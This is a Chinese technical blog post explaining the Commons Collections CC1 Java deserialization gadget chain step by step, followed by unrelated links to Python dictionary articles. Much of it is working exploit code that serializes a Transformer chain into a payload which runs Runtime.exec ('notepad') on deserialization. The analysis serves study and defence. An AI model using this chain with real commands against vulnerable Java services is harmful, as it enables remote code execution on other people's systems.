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Java反序列化之CC1链分析 | 技术精选0142

toyiye 2024-08-25 15:40 5 浏览 0 评论

本文约4000字,阅读约需9分钟。

可能之前看Java CC1链的文章时,那复杂的玩法给我留下了阴影,这篇文章自己迟迟没有动笔——毕竟有TransformedMap玩法,还有LazyMap玩法,最终还得借助AnnotationInvocationHandler或动态代理,看着就令人头大。

但我可以拖延,洞却不会等着我。自己如果不加快节奏,你就要和我说再见了。

咬牙鼓劲,遂出此文。

1

CC

首先,还是先说下 C ommons- C ollections吧。它的 功能是为Java标准的Collections API提供了相当好的补充,对其常用的数据结构操作进行了很好的封装和抽象。保证性能的同时大大简化代码。

此包的类包含下面两个:

Map

Commons Collections在java.util.Map的基础上扩展了很多接口和类,比较有代表性的是BidiMap、MultiMap和LazyMap。跟Bag和Buffer类似,Commons Collections也提供了一个MapUtils。

所谓BidiMap,直译就是双向Map,可以通过key找到value,也可以通过value找到key,这在我们日常的代码-名称匹配的时候很方便:因为我们除了需要通过代码找到名称之外,往往也需要处理用户输入的名称,然后获取其代码。需要注意的是BidiMap当中不光key不能重复,value也不可以。

所谓MultiMap,就是说一个key不再是简单的指向一个对象,而是一组对象,add()和remove()的时候跟普通的Map无异,只是在get()时返回一个Collection,利用MultiMap,我们就可以很方便的往一个key上放数量不定的对象,也就实现了一对多。

所谓LazyMap,意思就是这个Map中的键/值对一开始并不存在,当被调用到时才创建。

https://www.iteye.com/blog/duohuoteng-1630329

Transformer

我们有时候需要将某个对象转换成另一个对象供另一组方法调用,而这两类对象的类型有可能并不是出于同一个继承体系的,或者说出了很基本的Object之外没有共同的父类,或者我们根本不关心他们是不是有其他继承关系,甚至就是同一个类的实例只是对我们而言无所谓,我们为了它能够被后续的调用者有意义的识别和处理,在这样的情形,我们就可以利用Transformer。除了基本的转型Transformer之外,Commons Collections还提供了Transformer链和带条件的Transformer,使得我们很方便的组装出有意义的转型逻辑。

https://blog.csdn.net/liliugen/article/details/83298363

重点要关注这两个类Map、Transformer。 接下来包的问题,直接上maven仓库拉就好了:

最重要的一点:CC包版本需要为3.1-3.2.1,别看3.0和3.1只差个0.1,却可能导致弹不出记事本。我这次用的是3.1。

2

构造利用链

这一步建议使用jdk7,jdk8可能会出错。

InvokerTransformer

首先,来看反射机制触发函数InvokerTransformer类的transform(Object input):

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {

        this.iMethodName = methodName; //函数名

        this.iParamTypes = paramTypes; //函数参数的类型

        this.iArgs = args;             //参数对象

}

public Object transform(Object input) {

Class cls = input.getClass();     //获取input的类

Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //调用方法

return method.invoke(input, this.iArgs);              //执行

}

通过Java反射机制,我们可以构造一个命令执行:

public static void main(String[] args) throws Exception {

        //payload

        InvokerTransformer x = new InvokerTransformer(

                "exec",

                new Class[]{String.class},

                new String[]{"notepad"});







        //服务端

        Object d = Class.forName("java.lang.Runtime")

                .getMethod("getRuntime")

                .invoke(Class.forName("java.lang.Runtime"));

        x.transform(d);

    }

但是,这似乎不太现实,服务端给咱专门来了个:

Object d = Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))

还得接着优化。

ChainedTransformer

接下来我们看这个类ChainedTransformer的transform函数:

public Object transform(Object object) {

        for(int i = 0; i < this.iTransformers.length; ++i) {

            object = this.iTransformers[i].transform(object);

        }







        return object;

}

由此函数可知,输入的对象会给第一个转化器,转换结果会被输入到第二个转换器,以此类推。

再看ChainedTransformer类的构造函数,发现iTransformers数组是用户自己定义的:

public ChainedTransformer(Transformer[] transformers) {

        this.iTransformers = transformers;

    }

接下来我们构造一下,运行:

public static void main(String[] args) throws Exception {

        //payload

        Transformer[] x = new Transformer[]{

                new InvokerTransformer(

                        "exec",

                        new Class[]{String.class},

                        new String[]{"notepad"})

        };

        Transformer d = new ChainedTransformer(x);







        //服务端

        Object a = Class.forName("java.lang.Runtime")

                .getMethod("getRuntime")

                .invoke(Class.forName("java.lang.Runtime"));

        d.transform(a);

    }

看似和第一步没什么区别,但其实是在为后面做铺垫。

ConstantTransformer

ConstantTransformer类与InvokkerTransformer一样,继承Transforme父类,可以进入数组。主要看该类的下面两个函数:

public ConstantTransformer(Object constantToReturn) {

        this.iConstant = constantToReturn;

}

 public Object transform(Object input) {

        return this.iConstant;

}

在此对其修改,由于Runtime.getRuntime()实例已经放进payload里面,transform函数有无参数都不重要,因为ConstantTransformer类的transform函数会返会iConstant值,也就是最开始我们构造函数设置好的:

public static void main(String[] args) throws Exception {

        //payload

        Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.getRuntime()),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

        };

        Transformer d = new ChainedTransformer(x);







        //payload序列化写入文件,当作网络传输

        FileOutputStream f = new FileOutputStream("payload.bin");

        ObjectOutputStream fout = new ObjectOutputStream(f);

        fout.writeObject(d);







        //服务端反序列化payload读取

        FileInputStream f1 = new FileInputStream("payload.bin");

        ObjectInputStream f2 = new ObjectInputStream(f1);







        Transformer a = (ChainedTransformer) f2.readObject();







        d.transform(null);

}

这次之所以这样写,是因为前面的序列化和不序列化结果都一样,这次如果不序列化,看不出问题。

果然报错,Runtime类的定义没有继承Serializable类,是不支持反序列化的。

服务端生成Runtime实例

Runtime的实例是通过Runtime.getRuntime()来获取的,而InvokerTransformer里面的反射机制可以执行任意函数,我们让其执行getRuntime,从而使其成为实例。

把数组修改成如下:

Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

        };

结果报错了,跟踪一下:

由于是类缘故,所以input.getClass获取的是java.lang.Class。

调整一下,借用getMethod方法执行getRuntime。

Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

         };

跟踪到x[1]进去transform函数,发现获取的类还不是Runtime实例。

再对其调整:

Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),

                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

        };

终于成功了。

其实是等同于反射语句:

public static void main(String[] args) throws Exception {

        //x[0],object=""

        Class s = Class.forName("java.lang.Class");

        //x[1],object="java.lang.Runtime"

        Object o = s.getMethod("getMethod", new Class[]{String.class, Class[].class}).invoke(Class.forName("java.lang.Runtime"), "getRuntime", new Class[0]);

        System.out.println(o + "\n\n");

        //x[2],object="java.lang.Runtime.getRuntime()"

        s = o.getClass();

        o = s.getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(o, null, new Object[0]);

        System.out.println(s + "\n" + o + "\n\n");

        //x[3],object=

        Object o1 = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));

        System.out.println(o1);

}

可以看出,O和O1结果是一样的,但是服务端应该也不会执行。

Transformer a = (ChainedTransformer) f2.readObject();

d.transform(null);

还得继续优化。深思熟虑后, 上Map。

这里有两种Map都可以实现,一种是TransformedMap,另一种LazyMap,ysoserial用的是第二种,下面我会分别聊这两种实现方法。

TransformedMap

首先,看下TransformedMap类,发现当该类在调用put函数时,会执行transform函数,最后的执行结果会被添加到Map里:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {

    return new TransformedMap(map, keyTransformer, valueTransformer);

}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {

    super(map);

    this.keyTransformer = keyTransformer;

    this.valueTransformer = valueTransformer;

}

protected Object transformKey(Object object) {

    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);

}







protected Object transformValue(Object object) {

    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);

}

public Object put(Object key, Object value) {

    key = this.transformKey(key);

    value = this.transformValue(value);

    return this.getMap().put(key, value);

}

于是,我就尝试了一下:

interface Test extends Transformer {

    public Object transform(Object input);

}







class Test1 implements Test, Transformer {

    public Object transform(Object input) {

        return "x";

    }

}







class Test2 implements Test {

    public Object transform(Object input) {

        return "d";

    }

}







public class cc1 {

    public static void main(String[] args) throws Exception {

        Map innerMap = new HashMap();

        System.out.println(innerMap);

        Map map = TransformedMap.decorate(innerMap, new Test1(), new Test2());

        map.put("value", "value");

        System.out.println(map);

    }

}

结果也是和我想象一样,Map输出为{x=d}。

借助这个类,我们修改一下,再尝试一次:

public class cc1 {

    public static void main(String[] args) throws Exception {

        //payload

        Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),

                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

        };

        Transformer d = new ChainedTransformer(x);

        Map map = new HashMap();

        map.put("value", "value");

        Map map1 = TransformedMap.decorate(map, null, d);

        

        //payload序列化写入文件,当作网络传输

        FileOutputStream f = new FileOutputStream("payload.bin");

        ObjectOutputStream fout = new ObjectOutputStream(f);

        fout.writeObject(map1);







        //服务端反序列化payload读取

        FileInputStream f1 = new FileInputStream("payload.bin");

        ObjectInputStream f2 = new ObjectInputStream(f1);







        Map map2 = (Map) f2.readObject();

        map2.put("value", "1");













    }

}

这次就合理起来了。服务端执行Map应该问题不大。但是我们要追求完美,要让它只执行一个readObject就弹出记事本。

AnnotationInvocationHandler的readObject复写点

看看AnnotationInvocationHandler类下的readObject函数,发现在里面有赋值操作var5.setValue,不管它值是什么,总之只要赋值就能执行我们的命令:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {

   var1.defaultReadObject();

   AnnotationType var2 = null;







   try {

       var2 = AnnotationType.getInstance(this.type);

   } catch (IllegalArgumentException var9) {

       throw new InvalidObjectException("Non-annotation type in annotation serial stream");

   }







   Map var3 = var2.memberTypes();

   Iterator var4 = this.memberValues.entrySet().iterator();







   while(var4.hasNext()) {

       Entry var5 = (Entry)var4.next();

       String var6 = (String)var5.getKey();

       Class var7 = (Class)var3.get(var6);

       if (var7 != null) {

           Object var8 = var5.getValue();

           if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {

               var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

           }

       }

   }







}

顺势改下代码, 由于AnnotationInvocationHandler类的构造函数的第一个参数继承Annotation,所以第一个变量可以在该包底选一个:

public class cc1 {

    public static void main(String[] args) throws Exception {

        //payload

        Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),

                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

        };

        Transformer d = new ChainedTransformer(x);

        Map map = new HashMap();

        map.put("key", "key");

        Map map1 = TransformedMap.decorate(map, null, d);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);

        ct.setAccessible(true);

        Object o = ct.newInstance(Documented.class, map1);

        //payload序列化写入文件,当作网络传输

        FileOutputStream f = new FileOutputStream("payload.bin");

        ObjectOutputStream fout = new ObjectOutputStream(f);

        fout.writeObject(o);







        //服务端反序列化payload读取

        FileInputStream f1 = new FileInputStream("payload.bin");

        ObjectInputStream f2 = new ObjectInputStream(f1);







        f2.readObject();













    }

}

发现var3里面有一组Map数据,会把用户输入的Map数据的每一组key值在其var3寻找,有则不为空,进入判断则可执行。

LazyMap

看看LazyMap类,发现其get函数在获取key所对应的数据时,如果当key不存在,则调用transform函数,并把执行结果作为该key所对应的数据,并添加到到Map里面:

public static Map decorate(Map map, Transformer factory) {

    return new LazyMap(map, factory);

}

protected LazyMap(Map map, Factory factory) {

    super(map);

    if (factory == null) {

        throw new IllegalArgumentException("Factory must not be null");

    } else {

        this.factory = FactoryTransformer.getInstance(factory);

    }

}

public Object get(Object key) {

    if (!super.map.containsKey(key)) {

        Object value = this.factory.transform(key);

        super.map.put(key, value);

        return value;

    } else {

        return super.map.get(key);

    }

}

用这个Map改的话,如下:

public class cc1 {

    public static void main(String[] args) throws Exception {







        //payload

        Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),

                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

        };

        Transformer d = new ChainedTransformer(x);

        Map map = new HashMap();

        Map map1 = LazyMap.decorate(map, d);

        map1.get("key");

    }

}

不完美,还是不完美。

动态代理

我们看一段代码,运行发现,程序执行了invoke方法:

class expHandler implements InvocationHandler {

    protected Map map;







    public expHandler(Map map) {

        this.map = map;

    }







    @Override

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

        if (method.getName().compareTo("put") == 0) {

            System.out.println("Hook Method: " + method.getName());

            map.put("hi", "xd");

        }

        return method.invoke(this.map, args);

    }

}







public class cc1 {

    public static void main(String[] args) throws Exception {

        InvocationHandler handler = new expHandler(new HashMap());

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

        proxyMap.put("hi", "sir");

        System.out.println(proxyMap);

}

发现输出的结果是先去执行invoke,当匹配不到,则按正常执行。

AnnotationInvocationHandler类其实和InvocationHandler差不多里都有invoke,AnnotationInvocationHandler类下的invoke里面使用的get函数,所以从这里切入:

public Object invoke(Object var1, Method var2, Object[] var3) {

    String var4 = var2.getName();

    Class[] var5 = var2.getParameterTypes();

    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {

        return this.equalsImpl(var3[0]);

    } else if (var5.length != 0) {

        throw new AssertionError("Too many parameters for an annotation method");

    } else {

        byte var7 = -1;

        switch(var4.hashCode()) {

        case -1776922004:

            if (var4.equals("toString")) {

                var7 = 0;

            }

            break;

        case 147696667:

            if (var4.equals("hashCode")) {

                var7 = 1;

            }

            break;

        case 1444986633:

            if (var4.equals("annotationType")) {

                var7 = 2;

            }

        }







        switch(var7) {

        case 0:

            return this.toStringImpl();

        case 1:

            return this.hashCodeImpl();

        case 2:

            return this.type;

        default:

            Object var6 = this.memberValues.get(var4);

            if (var6 == null) {

                throw new IncompleteAnnotationException(this.type, var4);

            } else if (var6 instanceof ExceptionProxy) {

                throw ((ExceptionProxy)var6).generateException();

            } else {

                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {

                    var6 = this.cloneArray(var6);

                }







                return var6;

            }

        }

    }

}

通过这些,我们修改代码:

public class cc1 {

    public static void main(String[] args) throws Exception {

        //payload

        Transformer[] x = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),

                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),

                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})

        };

        Transformer d = new ChainedTransformer(x);

        Map map = new HashMap();

        Map map1 = LazyMap.decorate(map, d);

        

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);

        ct.setAccessible(true);

        

        InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

        Object o = ct.newInstance(Target.class, proxyMap);  //这样写也可handler = (InvocationHandler) ct.newInstance(Retention.class, proxyMap);







        //payload序列化写入文件,当作网络传输

        FileOutputStream f = new FileOutputStream("payload.bin");

        ObjectOutputStream fout = new ObjectOutputStream(f);

        fout.writeObject(o);  //如果用的后面那种,则把o换成handler







        //服务端反序列化payload读取

        FileInputStream f1 = new FileInputStream("payload.bin");

        ObjectInputStream f2 = new ObjectInputStream(f1);







        f2.readObject();







    }

}

3

总结

相对来说,TransformedMap需要设定特定值,但是在最后一步的时候容易理解。而Lazy M ap前面不需要多难的技巧,但在后面动态代理时显得比较复杂。

- END -


原文链接:https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247501368&idx=1&sn=a8d6791c7f61b3a5c50b259e1ac13c8f

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机器之心报道参与:一鸣、JaminPython3.8的热乎劲还没过去,Python就又双叒叕要更新了。近日,3.9版本的第四个alpha版已经开源。从文档中,我们可以看到官方透露的对dic...

Python3 基本数据类型详解(python三种基本数据类型)

文章来源:加米谷大数据Python中的变量不需要声明。每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建。在Python中,变量就是变量,它没有类型,我们所说的"类型"是变...

一文掌握Python的字典(python字典用法大全)

字典是Python中最强大、最灵活的内置数据结构之一。它们允许存储键值对,从而实现高效的数据检索、操作和组织。本文深入探讨了字典,涵盖了它们的创建、操作和高级用法,以帮助中级Python开发...

超级完整|Python字典详解(python字典的方法或操作)

一、字典概述01字典的格式Python字典是一种可变容器模型,且可存储任意类型对象,如字符串、数字、元组等其他容器模型。字典的每个键值key=>value对用冒号:分割,每个对之间用逗号,...

Python3.9版本新特性:字典合并操作的详细解读

处于测试阶段的Python3.9版本中有一个新特性:我们在使用Python字典时,将能够编写出更可读、更紧凑的代码啦!Python版本你现在使用哪种版本的Python?3.7分?3.5分?还是2.7...

python 自学,字典3(一些例子)(python字典有哪些基本操作)

例子11;如何批量复制字典里的内容2;如何批量修改字典的内容3;如何批量修改字典里某些指定的内容...

Python3.9中的字典合并和更新,几乎影响了所有Python程序员

全文共2837字,预计学习时长9分钟Python3.9正在积极开发,并计划于今年10月发布。2月26日,开发团队发布了alpha4版本。该版本引入了新的合并(|)和更新(|=)运算符,这个新特性几乎...

Python3大字典:《Python3自学速查手册.pdf》限时下载中

最近有人会想了,2022了,想学Python晚不晚,学习python有前途吗?IT行业行业薪资高,发展前景好,是很多求职群里严重的香饽饽,而要进入这个高薪行业,也不是那么轻而易举的,拿信工专业的大学生...

python学习——字典(python字典基本操作)

字典Python的字典数据类型是基于hash散列算法实现的,采用键值对(key:value)的形式,根据key的值计算value的地址,具有非常快的查取和插入速度。但它是无序的,包含的元素个数不限,值...

324页清华教授撰写【Python 3 菜鸟查询手册】火了,小白入门字典

如何入门学习python...

Python3.9中的字典合并和更新,了解一下

全文共2837字,预计学习时长9分钟Python3.9正在积极开发,并计划于今年10月发布。2月26日,开发团队发布了alpha4版本。该版本引入了新的合并(|)和更新(|=)运算符,这个新特性几乎...

python3基础之字典(python中字典的基本操作)

字典和列表一样,也是python内置的一种数据结构。字典的结构如下图:列表用中括号[]把元素包起来,而字典是用大括号{}把元素包起来,只不过字典的每一个元素都包含键和值两部分。键和值是一一对应的...

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